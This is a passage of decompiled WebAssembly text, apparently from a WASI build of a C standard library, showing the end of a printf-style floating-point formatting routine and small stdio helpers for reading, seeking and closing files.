(local.get $l16))
(loop $L14
(local.set $p3
(select
(local.get $p3)
(i32.const 29)
(i32.lt_s
(local.get $p3)
(i32.const 29))))
(block $B15
(br_if $B15
(i32.lt_u
(local.tee $l10
(i32.add
(local.get $l11)
(i32.const -4)))
(local.get $l18)))
(local.set $l25
(i64.extend_i32_u
(local.get $p3)))
(local.set $l24
(i64.const 0))
(loop $L16
(i64.store32
(local.get $l10)
(i64.sub
(local.tee $l24
(i64.add
(i64.shl
(i64.load32_u
(local.get $l10))
(local.get $l25))
(i64.and
(local.get $l24)
(i64.const 4294967295))))
(i64.mul
(local.tee $l24
(i64.div_u
(local.get $l24)
(i64.const 1000000000)))
(i64.const 1000000000))))
(br_if $L16
(i32.ge_u
(local.tee $l10
(i32.add
(local.get $l10)
(i32.const -4)))
(local.get $l18))))
(br_if $B15
(i32.eqz
(local.tee $l10
(i32.wrap_i64
(local.get $l24)))))
(i32.store
(local.tee $l18
(i32.add
(local.get $l18)
(i32.const -4)))
(local.get $l10)))
(block $B17
(loop $L18
(br_if $B17
(i32.le_u
(local.tee $l10
(local.get $l11))
(local.get $l18)))
(br_if $L18
(i32.eqz
(i32.load
(local.tee $l11
(i32.add
(local.get $l10)
(i32.const -4))))))))
(i32.store offset=44
(local.get $l6)
(local.tee $p3
(i32.sub
(i32.load offset=44
(local.get $l6))
(local.get $p3))))
(local.set $l11
(local.get $l10))
(br_if $L14
(i32.gt_s
(local.get $p3)
(i32.const 0)))))
(block $B19
(br_if $B19
(i32.gt_s
(local.get $p3)
(i32.const -1)))
(local.set $l19
(i32.add
(i32.div_u
(i32.add
(local.get $l15)
(i32.const 25))
(i32.const 9))
(i32.const 1)))
(local.set $l20
(i32.eq
(local.get $l14)
(i32.const 102)))
(loop $L20
(local.set $l21
(select
(local.tee $l11
(i32.sub
(i32.const 0)
(local.get $p3)))
(i32.const 9)
(i32.lt_s
(local.get $l11)
(i32.const 9))))
(block $B21
(block $B22
(br_if $B22
(i32.lt_u
(local.get $l18)
(local.get $l10)))
(local.set $l11
(i32.load
(local.get $l18)))
(br $B21))
(local.set $l22
(i32.shr_u
(i32.const 1000000000)
(local.get $l21)))
(local.set $l23
(i32.xor
(i32.shl
(i32.const -1)
(local.get $l21))
(i32.const -1)))
(local.set $p3
(i32.const 0))
(local.set $l11
(local.get $l18))
(loop $L23
(i32.store
(local.get $l11)
(i32.add
(i32.shr_u
(local.tee $l12
(i32.load
(local.get $l11)))
(local.get $l21))
(local.get $p3)))
(local.set $p3
(i32.mul
(i32.and
(local.get $l12)
(local.get $l23))
(local.get $l22)))
(br_if $L23
(i32.lt_u
(local.tee $l11
(i32.add
(local.get $l11)
(i32.const 4)))
(local.get $l10))))
(local.set $l11
(i32.load
(local.get $l18)))
(br_if $B21
(i32.eqz
(local.get $p3)))
(i32.store
(local.get $l10)
(local.get $p3))
(local.set $l10
(i32.add
(local.get $l10)
(i32.const 4))))
(i32.store offset=44
(local.get $l6)
(local.tee $p3
(i32.add
(i32.load offset=44
(local.get $l6))
(local.get $l21))))
(local.set $l10
(select
(i32.add
(local.tee $l11
(select
(local.get $l17)
(local.tee $l18
(i32.add
(local.get $l18)
(i32.shl
(i32.eqz
(local.get $l11))
(i32.const 2))))
(local.get $l20)))
(i32.shl
(local.get $l19)
(i32.const 2)))
(local.get $l10)
(i32.gt_s
(i32.shr_s
(i32.sub
(local.get $l10)
(local.get $l11))
(i32.const 2))
(local.get $l19))))
(br_if $L20
(i32.lt_s
(local.get $p3)
(i32.const 0)))))
(local.set $p3
(i32.const 0))
(block $B24
(br_if $B24
(i32.ge_u
(local.get $l18)
(local.get $l10)))
(local.set $p3
(i32.mul
(i32.shr_s
(i32.sub
(local.get $l17)
(local.get $l18))
(i32.const 2))
(i32.const 9)))
(local.set $l11
(i32.const 10))
(br_if $B24
(i32.lt_u
(local.tee $l12
(i32.load
(local.get $l18)))
(i32.const 10)))
(loop $L25
(local.set $p3
(i32.add
(local.get $p3)
(i32.const 1)))
(br_if $L25
(i32.ge_u
(local.get $l12)
(local.tee $l11
(i32.mul
(local.get $l11)
(i32.const 10)))))))
(block $B26
(br_if $B26
(i32.ge_s
(local.tee $l11
(i32.sub
(i32.sub
(local.get $l15)
(select
(i32.const 0)
(local.get $p3)
(i32.eq
(local.get $l14)
(i32.const 102))))
(i32.and
(i32.ne
(local.get $l15)
(i32.const 0))
(i32.eq
(local.get $l14)
(i32.const 103)))))
(i32.add
(i32.mul
(i32.shr_s
(i32.sub
(local.get $l10)
(local.get $l17))
(i32.const 2))
(i32.const 9))
(i32.const -9))))
(local.set $l21
(i32.add
(i32.add
(i32.shl
(local.tee $l22
(i32.div_s
(local.tee $l12
(i32.add
(local.get $l11)
(i32.const 9216)))
(i32.const 9)))
(i32.const 2))
(i32.add
(i32.add
(local.get $l6)
(i32.const 48))
(select
(i32.const 4)
(i32.const 292)
(i32.lt_s
(local.get $l16)
(i32.const 0)))))
(i32.const -4096)))
(local.set $l11
(i32.const 10))
(block $B27
(br_if $B27
(i32.gt_s
(local.tee $l12
(i32.sub
(local.get $l12)
(i32.mul
(local.get $l22)
(i32.const 9))))
(i32.const 7)))
(loop $L28
(local.set $l11
(i32.mul
(local.get $l11)
(i32.const 10)))
(br_if $L28
(i32.ne
(local.tee $l12
(i32.add
(local.get $l12)
(i32.const 1)))
(i32.const 8)))))
(local.set $l23
(i32.add
(local.get $l21)
(i32.const 4)))
(block $B29
(block $B30
(br_if $B30
(local.tee $l22
(i32.sub
(local.tee $l12
(i32.load
(local.get $l21)))
(i32.mul
(local.tee $l19
(i32.div_u
(local.get $l12)
(local.get $l11)))
(local.get $l11)))))
(br_if $B29
(i32.eq
(local.get $l23)
(local.get $l10))))
(block $B31
(block $B32
(br_if $B32
(i32.and
(local.get $l19)
(i32.const 1)))
(local.set $p1
(f64.const 0x1p+53 (;=9.0072e+15;)))
(br_if $B31
(i32.ne
(local.get $l11)
(i32.const 1000000000)))
(br_if $B31
(i32.le_u
(local.get $l21)
(local.get $l18)))
(br_if $B31
(i32.eqz
(i32.and
(i32.load8_u
(i32.add
(local.get $l21)
(i32.const -4)))
(i32.const 1)))))
(local.set $p1
(f64.const 0x1.0000000000001p+53 (;=9.0072e+15;))))
(local.set $l26
(select
(f64.const 0x1p-1 (;=0.5;))
(select
(select
(f64.const 0x1p+0 (;=1;))
(f64.const 0x1.8p+0 (;=1.5;))
(i32.eq
(local.get $l23)
(local.get $l10)))
(f64.const 0x1.8p+0 (;=1.5;))
(i32.eq
(local.get $l22)
(local.tee $l23
(i32.shr_u
(local.get $l11)
(i32.const 1)))))
(i32.lt_u
(local.get $l22)
(local.get $l23))))
(block $B33
(br_if $B33
(local.get $l7))
(br_if $B33
(i32.ne
(i32.load8_u
(local.get $l9))
(i32.const 45)))
(local.set $l26
(f64.neg
(local.get $l26)))
(local.set $p1
(f64.neg
(local.get $p1))))
(i32.store
(local.get $l21)
(local.tee $l12
(i32.sub
(local.get $l12)
(local.get $l22))))
(br_if $B29
(f64.eq
(f64.add
(local.get $p1)
(local.get $l26))
(local.get $p1)))
(i32.store
(local.get $l21)
(local.tee $l11
(i32.add
(local.get $l12)
(local.get $l11))))
(block $B34
(br_if $B34
(i32.lt_u
(local.get $l11)
(i32.const 1000000000)))
(loop $L35
(i32.store
(local.get $l21)
(i32.const 0))
(block $B36
(br_if $B36
(i32.ge_u
(local.tee $l21
(i32.add
(local.get $l21)
(i32.const -4)))
(local.get $l18)))
(i32.store
(local.tee $l18
(i32.add
(local.get $l18)
(i32.const -4)))
(i32.const 0)))
(i32.store
(local.get $l21)
(local.tee $l11
(i32.add
(i32.load
(local.get $l21))
(i32.const 1))))
(br_if $L35
(i32.gt_u
(local.get $l11)
(i32.const 999999999)))))
(local.set $p3
(i32.mul
(i32.shr_s
(i32.sub
(local.get $l17)
(local.get $l18))
(i32.const 2))
(i32.const 9)))
(local.set $l11
(i32.const 10))
(br_if $B29
(i32.lt_u
(local.tee $l12
(i32.load
(local.get $l18)))
(i32.const 10)))
(loop $L37
(local.set $p3
(i32.add
(local.get $p3)
(i32.const 1)))
(br_if $L37
(i32.ge_u
(local.get $l12)
(local.tee $l11
(i32.mul
(local.get $l11)
(i32.const 10)))))))
(local.set $l10
(select
(local.tee $l11
(i32.add
(local.get $l21)
(i32.const 4)))
(local.get $l10)
(i32.gt_u
(local.get $l10)
(local.get $l11)))))
(block $B38
(loop $L39
(br_if $B38
(local.tee $l12
(i32.le_u
(local.tee $l11
(local.get $l10))
(local.get $l18))))
(br_if $L39
(i32.eqz
(i32.load
(local.tee $l10
(i32.add
(local.get $l11)
(i32.const -4))))))))
(block $B40
(block $B41
(br_if $B41
(i32.eq
(local.get $l14)
(i32.const 103)))
(local.set $l21
(i32.and
(local.get $p4)
(i32.const 8)))
(br $B40))
(local.set $l15
(i32.add
(select
(i32.xor
(local.get $p3)
(i32.const -1))
(i32.const -1)
(local.tee $l21
(i32.and
(i32.gt_s
(local.tee $l10
(select
(local.get $l15)
(i32.const 1)
(local.get $l15)))
(local.get $p3))
(i32.gt_s
(local.get $p3)
(i32.const -5)))))
(local.get $l10)))
(local.set $p5
(i32.add
(select
(i32.const -1)
(i32.const -2)
(local.get $l21))
(local.get $p5)))
(br_if $B40
(local.tee $l21
(i32.and
(local.get $p4)
(i32.const 8))))
(local.set $l10
(i32.const -9))
(block $B42
(br_if $B42
(local.get $l12))
(br_if $B42
(i32.eqz
(local.tee $l21
(i32.load
(i32.add
(local.get $l11)
(i32.const -4))))))
(local.set $l12
(i32.const 10))
(local.set $l10
(i32.const 0))
(br_if $B42
(i32.rem_u
(local.get $l21)
(i32.const 10)))
(loop $L43
(local.set $l10
(i32.add
(local.tee $l22
(local.get $l10))
(i32.const 1)))
(br_if $L43
(i32.eqz
(i32.rem_u
(local.get $l21)
(local.tee $l12
(i32.mul
(local.get $l12)
(i32.const 10)))))))
(local.set $l10
(i32.xor
(local.get $l22)
(i32.const -1))))
(local.set $l12
(i32.mul
(i32.shr_s
(i32.sub
(local.get $l11)
(local.get $l17))
(i32.const 2))
(i32.const 9)))
(block $B44
(br_if $B44
(i32.ne
(i32.and
(local.get $p5)
(i32.const -33))
(i32.const 70)))
(local.set $l21
(i32.const 0))
(local.set $l15
(select
(local.get $l15)
(local.tee $l10
(select
(local.tee $l10
(i32.add
(i32.add
(local.get $l12)
(local.get $l10))
(i32.const -9)))
(i32.const 0)
(i32.gt_s
(local.get $l10)
(i32.const 0))))
(i32.lt_s
(local.get $l15)
(local.get $l10))))
(br $B40))
(local.set $l21
(i32.const 0))
(local.set $l15
(select
(local.get $l15)
(local.tee $l10
(select
(local.tee $l10
(i32.add
(i32.add
(i32.add
(local.get $p3)
(local.get $l12))
(local.get $l10))
(i32.const -9)))
(i32.const 0)
(i32.gt_s
(local.get $l10)
(i32.const 0))))
(i32.lt_s
(local.get $l15)
(local.get $l10)))))
(local.set $l12
(i32.const -1))
(br_if $B3
(i32.gt_s
(local.get $l15)
(select
(i32.const 2147483645)
(i32.const 2147483646)
(local.tee $l22
(i32.or
(local.get $l15)
(local.get $l21))))))
(local.set $l23
(i32.add
(i32.add
(local.get $l15)
(i32.ne
(local.get $l22)
(i32.const 0)))
(i32.const 1)))
(block $B45
(block $B46
(br_if $B46
(i32.ne
(local.tee $l20
(i32.and
(local.get $p5)
(i32.const -33)))
(i32.const 70)))
(br_if $B3
(i32.gt_s
(local.get $p3)
(i32.sub
(i32.const 2147483647)
(local.get $l23))))
(local.set $l10
(select
(local.get $p3)
(i32.const 0)
(i32.gt_s
(local.get $p3)
(i32.const 0))))
(br $B45))
(block $B47
(br_if $B47
(i32.gt_s
(i32.sub
(local.get $l13)
(local.tee $l10
(call $f53
(i64.extend_i32_u
(i32.sub
(i32.xor
(local.get $p3)
(local.tee $l10
(i32.shr_s
(local.get $p3)
(i32.const 31))))
(local.get $l10)))
(local.get $l13))))
(i32.const 1)))
(loop $L48
(i32.store8
(local.tee $l10
(i32.add
(local.get $l10)
(i32.const -1)))
(i32.const 48))
(br_if $L48
(i32.lt_s
(i32.sub
(local.get $l13)
(local.get $l10))
(i32.const 2)))))
(i32.store8
(local.tee $l19
(i32.add
(local.get $l10)
(i32.const -2)))
(local.get $p5))
(local.set $l12
(i32.const -1))
(i32.store8
(i32.add
(local.get $l10)
(i32.const -1))
(select
(i32.const 45)
(i32.const 43)
(i32.lt_s
(local.get $p3)
(i32.const 0))))
(br_if $B3
(i32.gt_s
(local.tee $l10
(i32.sub
(local.get $l13)
(local.get $l19)))
(i32.sub
(i32.const 2147483647)
(local.get $l23)))))
(local.set $l12
(i32.const -1))
(br_if $B3
(i32.gt_s
(local.tee $l10
(i32.add
(local.get $l10)
(local.get $l23)))
(i32.xor
(local.get $l8)
(i32.const 2147483647))))
(call $f54
(local.get $p0)
(i32.const 32)
(local.get $p2)
(local.tee $l23
(i32.add
(local.get $l10)
(local.get $l8)))
(local.get $p4))
(call $f48
(local.get $p0)
(local.get $l9)
(local.get $l8))
(call $f54
(local.get $p0)
(i32.const 48)
(local.get $p2)
(local.get $l23)
(i32.xor
(local.get $p4)
(i32.const 65536)))
(block $B49
(block $B50
(block $B51
(block $B52
(br_if $B52
(i32.ne
(local.get $l20)
(i32.const 70)))
(local.set $l21
(i32.or
(i32.add
(local.get $l6)
(i32.const 16))
(i32.const 8)))
(local.set $p3
(i32.or
(i32.add
(local.get $l6)
(i32.const 16))
(i32.const 9)))
(local.set $l18
(local.tee $l12
(select
(local.get $l17)
(local.get $l18)
(i32.gt_u
(local.get $l18)
(local.get $l17)))))
(loop $L53
(local.set $l10
(call $f53
(i64.load32_u
(local.get $l18))
(local.get $p3)))
(block $B54
(block $B55
(br_if $B55
(i32.eq
(local.get $l18)
(local.get $l12)))
(br_if $B54
(i32.le_u
(local.get $l10)
(i32.add
(local.get $l6)
(i32.const 16))))
(loop $L56
(i32.store8
(local.tee $l10
(i32.add
(local.get $l10)
(i32.const -1)))
(i32.const 48))
(br_if $L56
(i32.gt_u
(local.get $l10)
(i32.add
(local.get $l6)
(i32.const 16))))
(br $B54))
(unreachable))
(br_if $B54
(i32.ne
(local.get $l10)
(local.get $p3)))
(i32.store8 offset=24
(local.get $l6)
(i32.const 48))
(local.set $l10
(local.get $l21)))
(call $f48
(local.get $p0)
(local.get $l10)
(i32.sub
(local.get $p3)
(local.get $l10)))
(br_if $L53
(i32.le_u
(local.tee $l18
(i32.add
(local.get $l18)
(i32.const 4)))
(local.get $l17))))
(block $B57
(br_if $B57
(i32.eqz
(local.get $l22)))
(call $f48
(local.get $p0)
(i32.const 1376)
(i32.const 1)))
(br_if $B51
(i32.ge_u
(local.get $l18)
(local.get $l11)))
(br_if $B51
(i32.lt_s
(local.get $l15)
(i32.const 1)))
(loop $L58
(block $B59
(br_if $B59
(i32.le_u
(local.tee $l10
(call $f53
(i64.load32_u
(local.get $l18))
(local.get $p3)))
(i32.add
(local.get $l6)
(i32.const 16))))
(loop $L60
(i32.store8
(local.tee $l10
(i32.add
(local.get $l10)
(i32.const -1)))
(i32.const 48))
(br_if $L60
(i32.gt_u
(local.get $l10)
(i32.add
(local.get $l6)
(i32.const 16))))))
(call $f48
(local.get $p0)
(local.get $l10)
(select
(local.get $l15)
(i32.const 9)
(i32.lt_s
(local.get $l15)
(i32.const 9))))
(local.set $l10
(i32.add
(local.get $l15)
(i32.const -9)))
(br_if $B50
(i32.ge_u
(local.tee $l18
(i32.add
(local.get $l18)
(i32.const 4)))
(local.get $l11)))
(local.set $l12
(i32.gt_s
(local.get $l15)
(i32.const 9)))
(local.set $l15
(local.get $l10))
(br_if $L58
(local.get $l12))
(br $B50))
(unreachable))
(block $B61
(br_if $B61
(i32.lt_s
(local.get $l15)
(i32.const 0)))
(local.set $l22
(select
(local.get $l11)
(i32.add
(local.get $l18)
(i32.const 4))
(i32.gt_u
(local.get $l11)
(local.get $l18))))
(local.set $l17
(i32.or
(i32.add
(local.get $l6)
(i32.const 16))
(i32.const 8)))
(local.set $p3
(i32.or
(i32.add
(local.get $l6)
(i32.const 16))
(i32.const 9)))
(local.set $l11
(local.get $l18))
(loop $L62
(block $B63
(br_if $B63
(i32.ne
(local.tee $l10
(call $f53
(i64.load32_u
(local.get $l11))
(local.get $p3)))
(local.get $p3)))
(i32.store8 offset=24
(local.get $l6)
(i32.const 48))
(local.set $l10
(local.get $l17)))
(block $B64
(block $B65
(br_if $B65
(i32.eq
(local.get $l11)
(local.get $l18)))
(br_if $B64
(i32.le_u
(local.get $l10)
(i32.add
(local.get $l6)
(i32.const 16))))
(loop $L66
(i32.store8
(local.tee $l10
(i32.add
(local.get $l10)
(i32.const -1)))
(i32.const 48))
(br_if $L66
(i32.gt_u
(local.get $l10)
(i32.add
(local.get $l6)
(i32.const 16))))
(br $B64))
(unreachable))
(call $f48
(local.get $p0)
(local.get $l10)
(i32.const 1))
(local.set $l10
(i32.add
(local.get $l10)
(i32.const 1)))
(br_if $B64
(i32.eqz
(i32.or
(local.get $l15)
(local.get $l21))))
(call $f48
(local.get $p0)
(i32.const 1376)
(i32.const 1)))
(call $f48
(local.get $p0)
(local.get $l10)
(select
(local.get $l15)
(local.tee $l12
(i32.sub
(local.get $p3)
(local.get $l10)))
(i32.lt_s
(local.get $l15)
(local.get $l12))))
(local.set $l15
(i32.sub
(local.get $l15)
(local.get $l12)))
(br_if $B61
(i32.ge_u
(local.tee $l11
(i32.add
(local.get $l11)
(i32.const 4)))
(local.get $l22)))
(br_if $L62
(i32.gt_s
(local.get $l15)
(i32.const -1)))))
(call $f54
(local.get $p0)
(i32.const 48)
(i32.add
(local.get $l15)
(i32.const 18))
(i32.const 18)
(i32.const 0))
(call $f48
(local.get $p0)
(local.get $l19)
(i32.sub
(local.get $l13)
(local.get $l19)))
(br $B49))
(local.set $l10
(local.get $l15)))
(call $f54
(local.get $p0)
(i32.const 48)
(i32.add
(local.get $l10)
(i32.const 9))
(i32.const 9)
(i32.const 0)))
(call $f54
(local.get $p0)
(i32.const 32)
(local.get $p2)
(local.get $l23)
(i32.xor
(local.get $p4)
(i32.const 8192)))
(local.set $l12
(select
(local.get $l23)
(local.get $p2)
(i32.gt_s
(local.get $l23)
(local.get $p2))))
(br $B3))
(local.set $l23
(i32.add
(local.get $l9)
(i32.and
(i32.shr_s
(i32.shl
(local.get $p5)
(i32.const 26))
(i32.const 31))
(i32.const 9))))
(block $B67
(br_if $B67
(i32.gt_u
(local.get $p3)
(i32.const 11)))
(local.set $l10
(i32.sub
(i32.const 12)
(local.get $p3)))
(local.set $l26
(f64.const 0x1p+4 (;=16;)))
(loop $L68
(local.set $l26
(f64.mul
(local.get $l26)
(f64.const 0x1p+4 (;=16;))))
(br_if $L68
(local.tee $l10
(i32.add
(local.get $l10)
(i32.const -1)))))
(block $B69
(br_if $B69
(i32.ne
(i32.load8_u
(local.get $l23))
(i32.const 45)))
(local.set $p1
(f64.neg
(f64.add
(local.get $l26)
(f64.sub
(f64.neg
(local.get $p1))
(local.get $l26)))))
(br $B67))
(local.set $p1
(f64.sub
(f64.add
(local.get $p1)
(local.get $l26))
(local.get $l26))))
(block $B70
(br_if $B70
(i32.ne
(local.tee $l10
(call $f53
(i64.extend_i32_u
(i32.sub
(i32.xor
(local.tee $l10
(i32.load offset=44
(local.get $l6)))
(local.tee $l10
(i32.shr_s
(local.get $l10)
(i32.const 31))))
(local.get $l10)))
(local.get $l13)))
(local.get $l13)))
(i32.store8 offset=15
(local.get $l6)
(i32.const 48))
(local.set $l10
(i32.add
(local.get $l6)
(i32.const 15))))
(local.set $l21
(i32.or
(local.get $l8)
(i32.const 2)))
(local.set $l18
(i32.and
(local.get $p5)
(i32.const 32)))
(local.set $l11
(i32.load offset=44
(local.get $l6)))
(i32.store8
(local.tee $l22
(i32.add
(local.get $l10)
(i32.const -2)))
(i32.add
(local.get $p5)
(i32.const 15)))
(i32.store8
(i32.add
(local.get $l10)
(i32.const -1))
(select
(i32.const 45)
(i32.const 43)
(i32.lt_s
(local.get $l11)
(i32.const 0))))
(local.set $l12
(i32.and
(local.get $p4)
(i32.const 8)))
(local.set $l11
(i32.add
(local.get $l6)
(i32.const 16)))
(loop $L71
(local.set $l10
(local.get $l11))
(block $B72
(block $B73
(br_if $B73
(i32.eqz
(f64.lt
(f64.abs
(local.get $p1))
(f64.const 0x1p+31 (;=2.14748e+09;)))))
(local.set $l11
(i32.trunc_f64_s
(local.get $p1)))
(br $B72))
(local.set $l11
(i32.const -2147483648)))
(i32.store8
(local.get $l10)
(i32.or
(i32.load8_u
(i32.add
(local.get $l11)
(i32.const 2032)))
(local.get $l18)))
(local.set $p1
(f64.mul
(f64.sub
(local.get $p1)
(f64.convert_i32_s
(local.get $l11)))
(f64.const 0x1p+4 (;=16;))))
(block $B74
(br_if $B74
(i32.ne
(i32.sub
(local.tee $l11
(i32.add
(local.get $l10)
(i32.const 1)))
(i32.add
(local.get $l6)
(i32.const 16)))
(i32.const 1)))
(block $B75
(br_if $B75
(local.get $l12))
(br_if $B75
(i32.gt_s
(local.get $p3)
(i32.const 0)))
(br_if $B74
(f64.eq
(local.get $p1)
(f64.const 0x0p+0 (;=0;)))))
(i32.store8 offset=1
(local.get $l10)
(i32.const 46))
(local.set $l11
(i32.add
(local.get $l10)
(i32.const 2))))
(br_if $L71
(f64.ne
(local.get $p1)
(f64.const 0x0p+0 (;=0;)))))
(local.set $l12
(i32.const -1))
(br_if $B3
(i32.lt_s
(i32.sub
(i32.const 2147483645)
(local.tee $l10
(i32.add
(local.get $l21)
(local.tee $l19
(i32.sub
(local.get $l13)
(local.get $l22))))))
(local.get $p3)))
(block $B76
(block $B77
(br_if $B77
(i32.eqz
(local.get $p3)))
(br_if $B77
(i32.ge_s
(i32.add
(local.tee $l18
(i32.sub
(local.get $l11)
(i32.add
(local.get $l6)
(i32.const 16))))
(i32.const -2))
(local.get $p3)))
(local.set $l11
(i32.add
(local.get $p3)
(i32.const 2)))
(br $B76))
(local.set $l11
(local.tee $l18
(i32.sub
(local.get $l11)
(i32.add
(local.get $l6)
(i32.const 16))))))
(call $f54
(local.get $p0)
(i32.const 32)
(local.get $p2)
(local.tee $l10
(i32.add
(local.get $l10)
(local.get $l11)))
(local.get $p4))
(call $f48
(local.get $p0)
(local.get $l23)
(local.get $l21))
(call $f54
(local.get $p0)
(i32.const 48)
(local.get $p2)
(local.get $l10)
(i32.xor
(local.get $p4)
(i32.const 65536)))
(call $f48
(local.get $p0)
(i32.add
(local.get $l6)
(i32.const 16))
(local.get $l18))
(call $f54
(local.get $p0)
(i32.const 48)
(i32.sub
(local.get $l11)
(local.get $l18))
(i32.const 0)
(i32.const 0))
(call $f48
(local.get $p0)
(local.get $l22)
(local.get $l19))
(call $f54
(local.get $p0)
(i32.const 32)
(local.get $p2)
(local.get $l10)
(i32.xor
(local.get $p4)
(i32.const 8192)))
(local.set $l12
(select
(local.get $l10)
(local.get $p2)
(i32.gt_s
(local.get $l10)
(local.get $p2)))))
(global.set $g0
(i32.add
(local.get $l6)
(i32.const 560)))
(local.get $l12))
(func $f57 (type $t7) (param $p0 i32) (param $p1 i32)
(local $l2 i32)
(i32.store
(local.get $p1)
(i32.add
(local.tee $l2
(i32.and
(i32.add
(i32.load
(local.get $p1))
(i32.const 7))
(i32.const -8)))
(i32.const 16)))
(f64.store
(local.get $p0)
(call $f114
(i64.load
(local.get $l2))
(i64.load
(i32.add
(local.get $l2)
(i32.const 8))))))
(func $f58 (type $t22) (param $p0 f64) (result i64)
(i64.reinterpret_f64
(local.get $p0)))
(func $f59 (type $t0) (param $p0 i32) (result i32)
(local.get $p0))
(func $f60 (type $t0) (param $p0 i32) (result i32)
(call $wasi_snapshot_preview1.fd_close
(call $f59
(i32.load offset=60
(local.get $p0)))))
(func $f61 (type $t1) (param $p0 i32) (param $p1 i32) (param $p2 i32) (result i32)
(local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32)
(global.set $g0
(local.tee $l3
(i32.sub
(global.get $g0)
(i32.const 32))))
(i32.store offset=16
(local.get $l3)
(local.get $p1))
(local.set $l4
(i32.const 0))
(i32.store offset=20
(local.get $l3)
(i32.sub
(local.get $p2)
(i32.ne
(local.tee $l5
(i32.load offset=48
(local.get $p0)))
(i32.const 0))))
(local.set $l6
(i32.load offset=44
(local.get $p0)))
(i32.store offset=28
(local.get $l3)
(local.get $l5))
(i32.store offset=24
(local.get $l3)
(local.get $l6))
(local.set $l5
(i32.const 32))
(block $B0
(block $B1
(block $B2
(br_if $B2
(call $f90
(call $wasi_snapshot_preview1.fd_read
(i32.load offset=60
(local.get $p0))
(i32.add
(local.get $l3)
(i32.const 16))
(i32.const 2)
(i32.add
(local.get $l3)
(i32.const 12)))))
(br_if $B1
(i32.gt_s
(local.tee $l5
(i32.load offset=12
(local.get $l3)))
(i32.const 0)))
(local.set $l5
(select
(i32.const 32)
(i32.const 16)
(local.get $l5))))
(i32.store
(local.get $p0)
(i32.or
(i32.load
(local.get $p0))
(local.get $l5)))
(br $B0))
(block $B3
(br_if $B3
(i32.gt_u
(local.get $l5)
(local.tee $l6
(i32.load offset=20
(local.get $l3)))))
(local.set $l4
(local.get $l5))
(br $B0))
(i32.store offset=4
(local.get $p0)
(local.tee $l4
(i32.load offset=44
(local.get $p0))))
(i32.store offset=8
(local.get $p0)
(i32.add
(local.get $l4)
(i32.sub
(local.get $l5)
(local.get $l6))))
(block $B4
(br_if $B4
(i32.eqz
(i32.load offset=48
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l4)
(i32.const 1)))
(i32.store8
(i32.add
(i32.add
(local.get $p2)
(local.get $p1))
(i32.const -1))
(i32.load8_u
(local.get $l4))))
(local.set $l4
(local.get $p2)))
(global.set $g0
(i32.add
(local.get $l3)
(i32.const 32)))
(local.get $l4))
(func $f62 (type $t9) (param $p0 i32) (param $p1 i64) (param $p2 i32) (result i64)
(local $l3 i32)
(global.set $g0
(local.tee $l3
(i32.sub
(global.get $g0)
(i32.const 16))))
(local.set $p0
(call $f90
(call $wasi_snapshot_preview1.fd_seek
(local.get $p0)
(local.get $p1)
(i32.and
(local.get $p2)
(i32.const 255))
(i32.add
(local.get $l3)
(i32.const 8)))))
(local.set $p1
(i64.load offset=8
(local.get $l3)))
(global.set $g0
(i32.add
(local.get $l3)
(i32.const 16)))
(select
(i64.const -1)
(local.get $p1)
(local.get $p0)))
(func $f63 (type $t9) (param $p0 i32) (param $p1 i64) (param $p2 i32) (result i64)
(call $f62
(i32.load offset=60
(local.get $p0))
(local.get $p1)
(local.get $p2)))
(func $f64 (type $t0) (param $p0 i32) (result i32)
(local $l1 i32) (local $l2 i32)
(i32.store offset=72
(local.get $p0)
(i32.or
(i32.add
(local.tee $l1
(i32.load offset=72
(local.get $p0)))
(i32.const -1))
(local.get $l1)))
(block $B0
(br_if $B0
(i32.eq
(i32.load offset=20
(local.get $p0))
(i32.load offset=28
(local.get $p0))))
(drop
(call_indirect $__indirect_function_table (type $t1)
(local.get $p0)
(i32.const 0)
(i32.const 0)
(i32.load offset=36
(local.get $p0)))))
(i32.store offset=28
(local.get $p0)
(i32.const 0))
(i64.store offset=16
(local.get $p0)
(i64.const 0))
(block $B1
(br_if $B1
(i32.eqz
(i32.and
(local.tee $l1
(i32.load
(local.get $p0)))
(i32.const 4))))
(i32.store
(local.get $p0)
(i32.or
(local.get $l1)
(i32.const 32)))
(return
(i32.const -1)))
(i32.store offset=8
(local.get $p0)
(local.tee $l2
(i32.add
(i32.load offset=44
(local.get $p0))
(i32.load offset=48
(local.get $p0)))))
(i32.store offset=4
(local.get $p0)
(local.get $l2))
(i32.shr_s
(i32.shl
(local.get $l1)
(i32.const 27))
(i32.const 31)))
(func $f65 (type $t0) (param $p0 i32) (result i32)
(i32.or
(i32.eq
(local.get $p0)
(i32.const 32))
(i32.lt_u
(i32.add
(local.get $p0)
(i32.const -9))
(i32.const 5))))
(func $f66 (type $t0) (param $p0 i32) (result i32)
(local $l1 i32) (local $l2 i32)
(global.set $g0
(local.tee $l1
(i32.sub
(global.get $g0)
(i32.const 16))))
(local.set $l2
(i32.const -1))
(block $B0
(br_if $B0
(call $f64
(local.get $p0)))
(br_if $B0
(i32.ne
(call_indirect $__indirect_function_table (type $t1)
(local.get $p0)
(i32.add
(local.get $l1)
(i32.const 15))
(i32.const 1)
(i32.load offset=32
(local.get $p0)))
(i32.const 1)))
(local.set $l2
(i32.load8_u offset=15
(local.get $l1))))
(global.set $g0
(i32.add
(local.get $l1)
(i32.const 16)))
(local.get $l2))
(func $f67 (type $t23) (param $p0 i32) (param $p1 i64)
(local $l2 i32) (local $l3 i32)
(i64.store offset=112
(local.get $p0)
(local.get $p1))
(i64.store offset=120
(local.get $p0)
(i64.extend_i32_s
(i32.sub
(i32.load offset=44
(local.get $p0))
(local.tee $l2
(i32.load offset=4
(local.get $p0))))))
(local.set $l3
(i32.load offset=8
(local.get $p0)))
(block $B0
(br_if $B0
(i64.eqz
(local.get $p1)))
(br_if $B0
(i64.le_s
(i64.extend_i32_s
(i32.sub
(local.get $l3)
(local.get $l2)))
(local.get $p1)))
(local.set $l3
(i32.add
(local.get $l2)
(i32.wrap_i64
(local.get $p1)))))
(i32.store offset=104
(local.get $p0)
(local.get $l3)))
(func $f68 (type $t0) (param $p0 i32) (result i32)
(local $l1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i64) (local $l5 i64)
(local.set $l4
(i64.add
(i64.load offset=120
(local.get $p0))
(i64.extend_i32_s
(i32.sub
(local.tee $l1
(i32.load offset=4
(local.get $p0)))
(local.tee $l2
(i32.load offset=44
(local.get $p0)))))))
(block $B0
(block $B1
(block $B2
(br_if $B2
(i64.eqz
(local.tee $l5
